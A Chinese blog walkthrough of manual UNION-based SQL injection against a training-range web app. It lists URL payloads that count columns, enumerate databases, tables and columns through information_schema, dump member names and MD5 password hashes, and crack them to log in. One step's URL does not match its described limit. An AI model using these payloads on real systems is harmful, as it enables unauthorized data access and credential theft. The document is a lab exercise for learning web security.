手工 SQL 注入是页面提交数据到服务器,应用程序获取参数的值,然后把值拼接到查询语句中,再到数据库中查询,通过程序解析后,把结果返回在页面上

本文的目标是通过 SQL 注入获得后台管理系统的管理员账号和密码并成功登录

这里通过 墨者学院 提供的靶场环境进行测试。注册账号,支付1墨币,开启在线靶场

我这里的靶场地址是 http://219.153.49.228:47408/

步骤

第一步

访问页面滚动的通知 http://219.153.49.228:47408/new_list.php?id=1

分析:页面返回正常,拿到参数id,后面会根据这个id进行注入

第二步

访问 http://219.153.49.228:47408/new_list.php?id=1 order by 1

分析:SQL 语句中 order by N 可以判断有几个字段,返回内容正常,可以确定至少有1个字段

第三步

根据上面的步骤,一直往下试,N 不断增加,当访问 http://219.153.49.228:47408/new_list.php?id=1 order by 5 的时候页面不能正常访问了

分析:说明字段数少于5个,这里有个技巧是采用二分法查找会更快。

第四步

访问 http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,2,3,4

分析:通过SQL语句中 and 1=2 union select 1,2,3……,n 联合查询,判断显示的是哪些字段,前面已经判断出了总共有4个字段。根据页面显示,有两个字段应该是 titlecontents。 这里通过观察1234几个数字的位置,之前 title 的位置现在显示 2,之前 contents 现在显示 3,可以大致推断出 SQL 应该是 select xxx,title,contents,xxx from news where id=1

第五步

访问 http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,database(),version(),4

分析::SQL语句中database()是查询当前数据库的名称(语法:select database();),一个服务器上可能有多个数据库,version()是查询当前数据的版本(语法:select version();),这里是这2个内容分别显示在第2、3的位置上,mozhe_Discuz_StormGroup为数据库,5.7.22-0ubuntu0.16.04.1为数据库版本和操作系统的版本

第六步

访问 http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

分析:这里涉及到数据库information_schema、表SCHEMATA、列SCHEMA_NAME三个内容,数据库information_schema是MySQL自带的数据中,存储了MySQL的数据库名字、表名字、列名字和其他信息,通过information_schema我们可以查看整个MySQL实例的情况。limit 0,1意思是从第0行起,取1行数据,information_schema为获取的第1个数据库名称

第七步

访问 http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

分析:limit 1,1意思是从第1行起,取1行数据,mozhe_Discuz_StormGroup为获取的第2个数据库名称

第八步

不断增加limit 的行数,可以得到 limit 2,1 对应的数据库名字为mysql ,limit 3,1 对应的数据库名字为performance_schema,limit 4,1 对应的数据库名字为sys,而 limit 5,1 页面显示异常,说明总共就5个数据库。分别是

  1. information_schema
  2. mozhe_Discuz_StormGroup
  3. mysql
  4. performance_schema
  5. sys

第九步

查询mozhe_Discuz_StormGroup的表名

访问 http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

分析:查询表名和上面查询库名差不多,不断增加limit。这里 limit 0,1 对应的表名是StormGroup_member。

访问http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1
对应的表名是notice

limit 2,1 页面异常,说明只有2个表。分别是

  1. StormGroup_member
  2. notice

第十步

查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的字段名和类型

访问 [http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1
](http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1)

分析:可以看到第一个字段名为id,类型为int(11)

方法跟上面一样,只需要改变limit,得到第2个字段名是name,类型是varchar(20),第3个字段名是第password,类型是varchar(255),第4个字段名是第status ,类型是int(11),

第十一步

查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中数据总数

访问http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member

分析:共有2条数据

第十二步

查询字段的值

访问http://219.153.49.228:47408/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

分析:name对应mozhe,password对应356f589a7df439f6f744ff19bb8092c0,这是md5加密码后的密码,反解密之后可以得到原始密码。网上有很多解密网站,这里得到的密码为dsan13,status对应0,这样就得了第一条数据的信息。

获取第二条数据

对应的密码为332964

最后拿这2个账号密码去登录,发现第一个账号提示用户被禁或不存在,猜测是status控制了权限。

第2个账号可以正常登录

如果觉得我的文章对你有用,请随意赞赏